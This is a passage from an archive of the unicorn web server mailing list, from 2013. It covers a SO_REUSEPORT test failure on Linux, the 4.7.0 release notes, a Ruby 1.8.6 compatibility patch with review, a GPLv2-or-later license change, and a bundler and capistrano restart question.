: /home/ahobson/git/unicorn/test/ruby-1.9.3/lib/unicorn/socket_helper.rb:183:in `new_tcp_server'
: /home/ahobson/git/unicorn/test/ruby-1.9.3/lib/unicorn/socket_helper.rb:165:in `bind_listen'
: test/unit/test_socket_helper.rb:191:in `test_reuseport'
:
: 14 tests, 84 assertions, 0 failures, 1 errors, 0 skips
It appears that on linux, SO_REUSEPORT is not necessary to reuse the address/port across processes and may in fact fail.
https://github.com/joyent/libuv/pull/902
I don't know how unicorn should deal with that. I suppose ignoring ENOPROTOOPT if RUBY_PLATFORM =~ /linux/ is an option, but it is certainly not an appealing one.
Thanks,
--drew
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 2%]
* [ANN] unicorn 4.7.0 - minor updates, license tweak
@ 2013-11-04 7:57 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-11-04 7:57 UTC (permalink / raw)
To: mongrel-unicorn
* git://bogomips.org/unicorn.git
* http://unicorn.bogomips.org/NEWS.atom.xml
Changes:
* support SO_REUSEPORT on new listeners (:reuseport)
This allows users to start an independent instance of unicorn on
a the same port as a running unicorn (as long as both instances
use :reuseport).
ref: https://lwn.net/Articles/542629/
* unicorn is now GPLv2-or-later and Ruby 1.8-licensed
(instead of GPLv2-only, GPLv3-only, and Ruby 1.8-licensed)
This changes nothing at the moment. Once the FSF publishes the next
version of the GPL, users may choose the newer GPL version without the
unicorn BDFL approving it. Two years ago when I got permission to add
GPLv3 to the license options, I also got permission from all past
contributors to approve future versions of the GPL. So now I'm
approving all future versions of the GPL for use with unicorn.
Reasoning below:
In case the GPLv4 arrives and I am not alive to approve/review it,
the lesser of evils is have give blanket approval of all future GPL
versions (as published by the FSF). The worse evil is to be stuck
with a license which cannot guarantee the Free-ness of this project
in the future.
This unfortunately means the FSF can theoretically come out with
license terms I do not agree with, but the GPLv2 and GPLv3 will
always be an option to all users.
Note: we currently prefer GPLv3
Two improvements thanks to Ernest W. Durbin III:
* USR2 redirects fixed for Ruby 1.8.6 (broken since 4.1.0)
* unicorn(1) and unicorn_rails(1) enforces valid integer for -p/--port
A few more odd, minor tweaks and fixes:
* attempt to rename PID file when possible (on USR2)
* workaround reopen atomicity issues for stdio vs non-stdio
* improve handling of client-triggerable socket errors
--
Eric Wong
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 3%]
* Re: [PATCH] construct listener_fds Hash in 1.8 compatible way
2013-11-01 18:54 0% ` Eric Wong
@ 2013-11-01 19:00 0% ` Ernest W. Durbin III
0 siblings, 0 replies; 200+ results
From: Ernest W. Durbin III @ 2013-11-01 19:00 UTC (permalink / raw)
To: unicorn list
On Fri, Nov 1, 2013 at 2:54 PM, Eric Wong <normalperson@yhbt.net> wrote:
> "Ernest W. Durbin III" <ewdurbin@gmail.com> wrote:
>> On Fri, Nov 1, 2013 at 12:50 PM, Eric Wong <normalperson@yhbt.net> wrote:
>> > "Ernest W. Durbin III" <ewdurbin@gmail.com> wrote:
>> >> This renables the ability for Ruby 1.8 environments to perform reexecs
>> >
>> > Is this for Ruby 1.8.6? I've only tested on 1.8.7,
>> > I haven't had a 1.8.6 installation in a while.
>> >
>>
>> I'll admit that the reason I need it is for a Ruby 1.8.6 environment...
>
> OK (wow!). I've been pondering dropping 1.8 entirely, but I think I'll
> keep it for now since CentOS 6.x still uses it
>
> Anyways, was that the only 1.8.6-incompatible thing we did?
That's all I've found so far! Happy to be dropping thin, and I promise
we're on course to get past 1.8.6 at some point... But I'm just the
Ops guy :)
>
>> However, Ruby 1.8.7 does not have support for that Hash constructor
>> either it simply fails silently and in a bug prone manner.
>>
>> ```
>> [ernestd@ewd3do ~]$ ruby --version
>> ruby 1.8.7 (2011-06-30 patchlevel 352) [i386-linux]
>> [ernestd@ewd3do ~]$ irb
>> irb(main):001:0> thing = Hash[ [ 'foo', 'bar' ], ['fizz', 'buzz'] ]
>> => {["foo", "bar"]=>["fizz", "buzz"]}
>
> Actually, on 1.8.7, unicorn does the following (note the extra outer array)
>
> irb(main):001:0> thing = Hash[ [ [ 'foo', 'bar' ], ['fizz', 'buzz'] ] ]
> => {"fizz"=>"buzz", "foo"=>"bar"}
>
> so it was fine
Interesting. Sorry I missed that in the initial irb tests.
Funnily enough, the List of List's Constructor type isn't documented for 1.8.7
Thanks Again!
> _______________________________________________
> Unicorn mailing list - mongrel-unicorn@rubyforge.org
> http://rubyforge.org/mailman/listinfo/mongrel-unicorn
> Do not quote signatures (like this one) or top post when replying
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Re: [PATCH] construct listener_fds Hash in 1.8 compatible way
2013-11-01 17:04 4% ` Ernest W. Durbin III
@ 2013-11-01 18:54 0% ` Eric Wong
2013-11-01 19:00 0% ` Ernest W. Durbin III
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2013-11-01 18:54 UTC (permalink / raw)
To: unicorn list
"Ernest W. Durbin III" <ewdurbin@gmail.com> wrote:
> On Fri, Nov 1, 2013 at 12:50 PM, Eric Wong <normalperson@yhbt.net> wrote:
> > "Ernest W. Durbin III" <ewdurbin@gmail.com> wrote:
> >> This renables the ability for Ruby 1.8 environments to perform reexecs
> >
> > Is this for Ruby 1.8.6? I've only tested on 1.8.7,
> > I haven't had a 1.8.6 installation in a while.
> >
>
> I'll admit that the reason I need it is for a Ruby 1.8.6 environment...
OK (wow!). I've been pondering dropping 1.8 entirely, but I think I'll
keep it for now since CentOS 6.x still uses it
Anyways, was that the only 1.8.6-incompatible thing we did?
> However, Ruby 1.8.7 does not have support for that Hash constructor
> either it simply fails silently and in a bug prone manner.
>
> ```
> [ernestd@ewd3do ~]$ ruby --version
> ruby 1.8.7 (2011-06-30 patchlevel 352) [i386-linux]
> [ernestd@ewd3do ~]$ irb
> irb(main):001:0> thing = Hash[ [ 'foo', 'bar' ], ['fizz', 'buzz'] ]
> => {["foo", "bar"]=>["fizz", "buzz"]}
Actually, on 1.8.7, unicorn does the following (note the extra outer array)
irb(main):001:0> thing = Hash[ [ [ 'foo', 'bar' ], ['fizz', 'buzz'] ] ]
=> {"fizz"=>"buzz", "foo"=>"bar"}
so it was fine
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Re: [PATCH] construct listener_fds Hash in 1.8 compatible way
2013-11-01 18:32 0% ` Ernest W. Durbin III
@ 2013-11-01 18:49 5% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-11-01 18:49 UTC (permalink / raw)
To: unicorn list
"Ernest W. Durbin III" <ewdurbin@gmail.com> wrote:
> On Fri, Nov 1, 2013 at 1:46 PM, Hleb Valoshka <375gnu@gmail.com> wrote:
> > On 11/1/13, Ernest W. Durbin III <ewdurbin@gmail.com> wrote:
> >
> >> + LISTENERS.map do |sock|
> >
> > You mean LISTENERS.each, aren't you? :)
Yes, LISTENERS.each is correct here. Thanks for the catch!
> the call has been to `LISTENERS.map` as far back in the history of
> lib/unicorn/http_server.rb as i could find.
It used to be map because we wanted it to return an array. Now we don't
care for the return value, so I've tweaked it to each.
Pushed out the following, thanks all. Should have out 4.7.0 within
a few days (few more cleanups while we're at it).
>From 7e9e4c740aba24096f768f578779dc1053cb8b70 Mon Sep 17 00:00:00 2001
From: "Ernest W. Durbin III" <ewdurbin@gmail.com>
Date: Fri, 1 Nov 2013 10:12:33 -0400
Subject: [PATCH] construct listener_fds Hash in 1.8.6 compatible way
This renables the ability for Ruby 1.8.6 environments to perform reexecs
[ew: clarified this is for 1.8.6,
favor literal {} over Hash.new,
tweaked LISTENERS.map => LISTENERS.each, thanks to Hleb Valoshka
]
Signed-off-by: Eric Wong <normalperson@yhbt.net>
---
lib/unicorn/http_server.rb | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 2decd77..402f133 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -449,13 +449,14 @@ class Unicorn::HttpServer
end
self.reexec_pid = fork do
- listener_fds = Hash[LISTENERS.map do |sock|
+ listener_fds = {}
+ LISTENERS.each do |sock|
# IO#close_on_exec= will be available on any future version of
# Ruby that sets FD_CLOEXEC by default on new file descriptors
# ref: http://redmine.ruby-lang.org/issues/5041
sock.close_on_exec = false if sock.respond_to?(:close_on_exec=)
- [ sock.fileno, sock ]
- end]
+ listener_fds[sock.fileno] = sock
+ end
ENV['UNICORN_FD'] = listener_fds.keys.join(',')
Dir.chdir(START_CTX[:cwd])
cmd = [ START_CTX[0] ].concat(START_CTX[:argv])
--
1.8.4.483.g7fe67e6.dirty
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 5%]
* Re: [PATCH] construct listener_fds Hash in 1.8 compatible way
2013-11-01 17:46 0% ` Hleb Valoshka
@ 2013-11-01 18:32 0% ` Ernest W. Durbin III
2013-11-01 18:49 5% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Ernest W. Durbin III @ 2013-11-01 18:32 UTC (permalink / raw)
To: unicorn list
On Fri, Nov 1, 2013 at 1:46 PM, Hleb Valoshka <375gnu@gmail.com> wrote:
> On 11/1/13, Ernest W. Durbin III <ewdurbin@gmail.com> wrote:
>
>> + LISTENERS.map do |sock|
>
> You mean LISTENERS.each, aren't you? :)
>
the call has been to `LISTENERS.map` as far back in the history of
lib/unicorn/http_server.rb as i could find.
>> # IO#close_on_exec= will be available on any future version of
>> # Ruby that sets FD_CLOEXEC by default on new file descriptors
>> # ref: http://redmine.ruby-lang.org/issues/5041
>> sock.close_on_exec = false if sock.respond_to?(:close_on_exec=)
>> - [ sock.fileno, sock ]
>> - end]
>> + listener_fds[sock.fileno] = sock
>> + end
> _______________________________________________
> Unicorn mailing list - mongrel-unicorn@rubyforge.org
> http://rubyforge.org/mailman/listinfo/mongrel-unicorn
> Do not quote signatures (like this one) or top post when replying
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Re: [PATCH] construct listener_fds Hash in 1.8 compatible way
2013-11-01 14:12 5% [PATCH] construct listener_fds Hash in 1.8 compatible way Ernest W. Durbin III
@ 2013-11-01 17:46 0% ` Hleb Valoshka
2013-11-01 18:32 0% ` Ernest W. Durbin III
1 sibling, 1 reply; 200+ results
From: Hleb Valoshka @ 2013-11-01 17:46 UTC (permalink / raw)
To: unicorn list
On 11/1/13, Ernest W. Durbin III <ewdurbin@gmail.com> wrote:
> + LISTENERS.map do |sock|
You mean LISTENERS.each, aren't you? :)
> # IO#close_on_exec= will be available on any future version of
> # Ruby that sets FD_CLOEXEC by default on new file descriptors
> # ref: http://redmine.ruby-lang.org/issues/5041
> sock.close_on_exec = false if sock.respond_to?(:close_on_exec=)
> - [ sock.fileno, sock ]
> - end]
> + listener_fds[sock.fileno] = sock
> + end
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Re: [PATCH] construct listener_fds Hash in 1.8 compatible way
@ 2013-11-01 17:04 4% ` Ernest W. Durbin III
2013-11-01 18:54 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Ernest W. Durbin III @ 2013-11-01 17:04 UTC (permalink / raw)
To: unicorn list
On Fri, Nov 1, 2013 at 12:50 PM, Eric Wong <normalperson@yhbt.net> wrote:
> "Ernest W. Durbin III" <ewdurbin@gmail.com> wrote:
>> This renables the ability for Ruby 1.8 environments to perform reexecs
>
> Is this for Ruby 1.8.6? I've only tested on 1.8.7,
> I haven't had a 1.8.6 installation in a while.
>
I'll admit that the reason I need it is for a Ruby 1.8.6 environment...
However, Ruby 1.8.7 does not have support for that Hash constructor
either it simply fails silently and in a bug prone manner.
```
[ernestd@ewd3do ~]$ ruby --version
ruby 1.8.7 (2011-06-30 patchlevel 352) [i386-linux]
[ernestd@ewd3do ~]$ irb
irb(main):001:0> thing = Hash[ [ 'foo', 'bar' ], ['fizz', 'buzz'] ]
=> {["foo", "bar"]=>["fizz", "buzz"]}
irb(main):002:0> thing = Hash[ [ 'foo', 'bar' ] ]
=> {}
```
```
-bash-4.1$ ruby --version
ruby 1.8.6 (2010-09-02 patchlevel 420) [x86_64-linux]
-bash-4.1$ irb
irb(main):001:0> thing = Hash[ [ 'foo', 'bar' ], ['fizz', 'buzz'] ]
=> {["foo", "bar"]=>["fizz", "buzz"]}
irb(main):002:0> thing = Hash[ [ 'foo', 'bar' ] ]
ArgumentError: odd number of arguments for Hash
from (irb):2:in `[]'
from (irb):2
from :0
```
>> --- a/lib/unicorn/http_server.rb
>> +++ b/lib/unicorn/http_server.rb
>> @@ -449,13 +449,14 @@ class Unicorn::HttpServer
>> end
>>
>> self.reexec_pid = fork do
>> - listener_fds = Hash[LISTENERS.map do |sock|
>> + listener_fds = Hash.new
>
> listener_fds = {}
>
> is generally preferred unless there's a default value.
>
> I'll apply the edited change if that's alright with you (and update
> the commit message for 1.8.6 support).
It's up to you how to get this merged :) Whatever is easiest.
>
> Thanks!
> _______________________________________________
> Unicorn mailing list - mongrel-unicorn@rubyforge.org
> http://rubyforge.org/mailman/listinfo/mongrel-unicorn
> Do not quote signatures (like this one) or top post when replying
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 4%]
* [PATCH] construct listener_fds Hash in 1.8 compatible way
@ 2013-11-01 14:12 5% Ernest W. Durbin III
2013-11-01 17:46 0% ` Hleb Valoshka
0 siblings, 2 replies; 200+ results
From: Ernest W. Durbin III @ 2013-11-01 14:12 UTC (permalink / raw)
To: mongrel-unicorn
This renables the ability for Ruby 1.8 environments to perform reexecs
---
lib/unicorn/http_server.rb | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 2decd77..9a5795c 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -449,13 +449,14 @@ class Unicorn::HttpServer
end
self.reexec_pid = fork do
- listener_fds = Hash[LISTENERS.map do |sock|
+ listener_fds = Hash.new
+ LISTENERS.map do |sock|
# IO#close_on_exec= will be available on any future version of
# Ruby that sets FD_CLOEXEC by default on new file descriptors
# ref: http://redmine.ruby-lang.org/issues/5041
sock.close_on_exec = false if sock.respond_to?(:close_on_exec=)
- [ sock.fileno, sock ]
- end]
+ listener_fds[sock.fileno] = sock
+ end
ENV['UNICORN_FD'] = listener_fds.keys.join(',')
Dir.chdir(START_CTX[:cwd])
cmd = [ START_CTX[0] ].concat(START_CTX[:argv])
--
1.8.4
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 5%]
* [PATCH] license: allow all future versions of the GNU GPL
@ 2013-10-26 7:58 9% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-10-26 7:58 UTC (permalink / raw)
To: mongrel-unicorn
There is currently no GPLv4, so this change has no effect at the
moment.
In case the GPLv4 arrives and I am not alive to approve/review it,
the lesser of evils is have give blanket approval of all future GPL
versions (as published by the FSF). The worse evil is to be stuck
with a license which cannot guarantee the Free-ness of this project
in the future.
This unfortunately means the FSF can theoretically come out with
license terms I do not agree with, but the GPLv2 and GPLv3 will
always be an option to all users.
---
LICENSE | 17 ++++++++++-------
README | 5 +++--
ext/unicorn_http/unicorn_http.rl | 2 +-
lib/unicorn/app/inetd.rb | 2 +-
lib/unicorn/app/old_rails.rb | 2 +-
lib/unicorn/cgi_wrapper.rb | 2 +-
test/test_helper.rb | 2 +-
test/unit/test_http_parser.rb | 2 +-
test/unit/test_request.rb | 2 +-
test/unit/test_response.rb | 2 +-
test/unit/test_server.rb | 2 +-
test/unit/test_signals.rb | 2 +-
unicorn.gemspec | 2 +-
13 files changed, 24 insertions(+), 20 deletions(-)
diff --git a/LICENSE b/LICENSE
index 099110a..5b6458e 100644
--- a/LICENSE
+++ b/LICENSE
@@ -3,15 +3,18 @@ revision control for names and email addresses of all of them.
You can redistribute it and/or modify it under either the terms of the
GNU General Public License (GPL) as published by the Free Software
-Foundation (FSF), version {3.0}[http://www.gnu.org/licenses/gpl-3.0.txt]
-or version {2.0}[http://www.gnu.org/licenses/gpl-2.0.txt]
-or the Ruby-specific license terms (see below).
+Foundation (FSF), either version 2 of the License, or (at your option)
+any later version. We currently prefer the GPLv3 or later for
+derivative works, but the GPLv2 is fine.
-The unicorn project leader (Eric Wong) reserves the right to add future
-versions of the GPL (and no other licenses) as published by the FSF to
-the licensing terms.
+The complete texts of the GPLv2 and GPLv3 are below:
+GPLv2 - http://www.gnu.org/licenses/gpl-2.0.txt
+GPLv3 - http://www.gnu.org/licenses/gpl-3.0.txt
-=== Ruby-specific terms (if you're not using the GPLv2 or GPLv3)
+You may (against our _preference_) also use the Ruby 1.8 license terms
+which we inherited from the original Mongrel project when we forked it:
+
+=== Ruby 1.8-specific terms (if you're not using the GPL)
1. You may make and give away verbatim copies of the source form of the
software without restriction, provided that you duplicate all of the
diff --git a/README b/README
index 5dde0d7..42167c8 100644
--- a/README
+++ b/README
@@ -63,8 +63,9 @@ both the the request and response in between \Unicorn and slow clients.
It is based on Mongrel 1.1.5.
Mongrel is copyright 2007 Zed A. Shaw and contributors.
-\Unicorn is tri-licensed under (your choice) of the GPLv3, GPLv2 or
-Ruby (1.8)-specific terms. See the included LICENSE file for details.
+\Unicorn is licensed under (your choice) of the GPLv2 or later
+(GPLv3+ preferred), or Ruby (1.8)-specific terms.
+See the included LICENSE file for details.
\Unicorn is 100% Free Software.
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 3529740..6293033 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -2,7 +2,7 @@
* Copyright (c) 2009 Eric Wong (all bugs are Eric's fault)
* Copyright (c) 2005 Zed A. Shaw
* You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
- * the GPLv3
+ * the GPLv2+ (GPLv3+ preferred)
*/
#include "ruby.h"
#include "ext_help.h"
diff --git a/lib/unicorn/app/inetd.rb b/lib/unicorn/app/inetd.rb
index b851214..13b6624 100644
--- a/lib/unicorn/app/inetd.rb
+++ b/lib/unicorn/app/inetd.rb
@@ -2,7 +2,7 @@
# :enddoc:
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
# this class *must* be used with Rack::Chunked
module Unicorn::App
diff --git a/lib/unicorn/app/old_rails.rb b/lib/unicorn/app/old_rails.rb
index ad1ca8e..1e8c41a 100644
--- a/lib/unicorn/app/old_rails.rb
+++ b/lib/unicorn/app/old_rails.rb
@@ -5,7 +5,7 @@
# Copyright (c) 2005 Zed A. Shaw
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
# Additional work donated by contributors. See CONTRIBUTORS for more info.
require 'unicorn/cgi_wrapper'
require 'dispatcher'
diff --git a/lib/unicorn/cgi_wrapper.rb b/lib/unicorn/cgi_wrapper.rb
index d0175d0..d9b7fe5 100644
--- a/lib/unicorn/cgi_wrapper.rb
+++ b/lib/unicorn/cgi_wrapper.rb
@@ -5,7 +5,7 @@
# Copyright (c) 2005 Zed A. Shaw
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
#
# Additional work donated by contributors. See CONTRIBUTORS for more info.
diff --git a/test/test_helper.rb b/test/test_helper.rb
index cf98996..c65f2f3 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
#
# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
# for more information.
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 64146e7..8d5b251 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
#
# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
# for more information.
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index a57cbcd..fbda1a2 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
require 'test/test_helper'
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 054c3dd..85ac085 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
#
# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
# for more information.
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index a821790..e5b335f 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
#
# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
# for more information.
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index f1d8bb3..443c736 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -2,7 +2,7 @@
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv3
+# the GPLv2+ (GPLv3+ preferred)
#
# Ensure we stay sane in the face of signals being sent to us
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 0453eb0..4619a89 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -40,5 +40,5 @@ Gem::Specification.new do |s|
s.add_development_dependency('isolate', '~> 3.2')
s.add_development_dependency('wrongdoc', '~> 1.6.1')
- s.licenses = ["GPLv2", "GPLv3", "Ruby 1.8"]
+ s.licenses = ["GPLv2+", "Ruby 1.8"]
end
--
1.8.4.483.g7fe67e6.dirty
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 9%]
* Re: Confused about restart/upgrade w. bundler and symlinks
2013-10-23 16:02 0% ` Eric Wong
@ 2013-10-23 17:18 0% ` Daniel Condomitti
0 siblings, 0 replies; 200+ results
From: Daniel Condomitti @ 2013-10-23 17:18 UTC (permalink / raw)
To: unicorn list
On Wednesday, October 23, 2013 at 9:02 AM, Eric Wong wrote:
> Carlos Peñas <theistian@gmx.com (mailto:theistian@gmx.com)> wrote:
> > Hi.
> >
> > I'm having an issue using unicorn with bundler on a rails ap deployed by
> > capistrano
> >
> > Im using bundler 1.3.5 (tried 1.4rc0 also) I'm deploying with
> > capistrano, version is irrelevant, the issue hit me when keep releases
> > is reached and 'current' symlink where "bundle unicorn" process was
> > initially started.
> >
> > Im using also unicorn 4.6.3 and ruby 2.0.0, it is a Rails 4 app runing
> > on linux 3.2 64
> >
> > I'm restarting with a init.d script which sends a HUP to master (restart) or USR2 (upgrade)
> >
> > bundled gems are vendorized and stored in a shared location between
> > deploys. pids and logs also.
> >
> > In the config have lines for:
> >
> > Unicorn::HttpServer::START_CTX[0] pointing to the binary in the bundle
>
> Actually, I'm not 100% sure if that's correct
> I'll let somebody who uses bundler correct me, but you *might* need
> to use something like this instead:
>
> start_ctx = Unicorn::HttpServer::START_CTX
> start_ctx[0] = "bundle"
> start_ctx[:argv] = %w(exec unicorn).concat(start_ctx[:argv])
I point to the binary in the bundled gemset using rubygems 1.8.24 and bundler 1.4.0pre1. This works for me while only keeping two releases around
Unicorn::HttpServer::START_CTX[0] = "/opt/app/application-name/current/vendor/bundle/ruby/2.0.0/bin/unicorn
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Re: Confused about restart/upgrade w. bundler and symlinks
2013-10-23 8:35 2% Confused about restart/upgrade w. bundler and symlinks Carlos Peñas
@ 2013-10-23 16:02 0% ` Eric Wong
2013-10-23 17:18 0% ` Daniel Condomitti
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2013-10-23 16:02 UTC (permalink / raw)
To: unicorn list
Carlos Peñas <theistian@gmx.com> wrote:
> Hi.
>
> I'm having an issue using unicorn with bundler on a rails ap deployed by
> capistrano
>
> Im using bundler 1.3.5 (tried 1.4rc0 also) I'm deploying with
> capistrano, version is irrelevant, the issue hit me when keep releases
> is reached and 'current' symlink where "bundle unicorn" process was
> initially started.
>
> Im using also unicorn 4.6.3 and ruby 2.0.0, it is a Rails 4 app runing
> on linux 3.2 64
>
> I'm restarting with a init.d script which sends a HUP to master (restart) or USR2 (upgrade)
>
> bundled gems are vendorized and stored in a shared location between
> deploys. pids and logs also.
>
> In the config have lines for:
>
> Unicorn::HttpServer::START_CTX[0] pointing to the binary in the bundle
Actually, I'm not 100% sure if that's correct
I'll let somebody who uses bundler correct me, but you *might* need
to use something like this instead:
start_ctx = Unicorn::HttpServer::START_CTX
start_ctx[0] = "bundle"
start_ctx[:argv] = %w(exec unicorn).concat(start_ctx[:argv])
> and ENV["BUNDLE_GEMFILE"] pointing to "current" path of the gemfile
> When a capistrano deploy reach the :keep_releases and deletes a release
> directory where unicorn was previously started the master kills all the
> workers an the new worker get in a death loop telling that they can not
> locate 'rack/builder'.
Wait, this means you've had multiple deploys fail to reach :keep_releases
and have it delete directories? Might not be easy to recover from...
Can you check the output of:
tr '\0' '\n' < /proc/$PID/environ
On the killing master process for anything that looks like GEM/PATH/RUBY?
Perhaps something is out-of-date in one of those paths and not
unset/reset correctly by bundler.
> I traced the process and the diying worker threads are looking for files
> in the deleted release directory.
>
> Problem is crystal clear to me. Unix dereferences 'current' directory
> and store it in the proc environment so when the referenced directory
> dissapear unicorn workers aren't able to locate cwd. But I can't find a
> workarround which let me use a deploy tool and bundle to keep project
> gems.
>
> So What i'm missing? is there a best practice I'm not following?.
Are you setting working_directory in your config file?
That might fix some things up. Can you also ask some bundler
users/developers for assistance?
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Confused about restart/upgrade w. bundler and symlinks
@ 2013-10-23 8:35 2% Carlos Peñas
2013-10-23 16:02 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Carlos Peñas @ 2013-10-23 8:35 UTC (permalink / raw)
To: mongrel-unicorn
Hi.
I'm having an issue using unicorn with bundler on a rails ap deployed by
capistrano
Im using bundler 1.3.5 (tried 1.4rc0 also) I'm deploying with
capistrano, version is irrelevant, the issue hit me when keep releases
is reached and 'current' symlink where "bundle unicorn" process was
initially started.
Im using also unicorn 4.6.3 and ruby 2.0.0, it is a Rails 4 app runing
on linux 3.2 64
I'm restarting with a init.d script which sends a HUP to master (restart) or USR2 (upgrade)
bundled gems are vendorized and stored in a shared location between
deploys. pids and logs also.
In the config have lines for:
Unicorn::HttpServer::START_CTX[0] pointing to the binary in the bundle
and ENV["BUNDLE_GEMFILE"] pointing to "current" path of the gemfile
When a capistrano deploy reach the :keep_releases and deletes a release
directory where unicorn was previously started the master kills all the
workers an the new worker get in a death loop telling that they can not
locate 'rack/builder'.
I traced the process and the diying worker threads are looking for files
in the deleted release directory.
Problem is crystal clear to me. Unix dereferences 'current' directory
and store it in the proc environment so when the referenced directory
dissapear unicorn workers aren't able to locate cwd. But I can't find a
workarround which let me use a deploy tool and bundle to keep project
gems.
So What i'm missing? is there a best practice I'm not following?.
Thanks
--
Carlos Peñas San José
carlos@adoptales.es
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 2%]
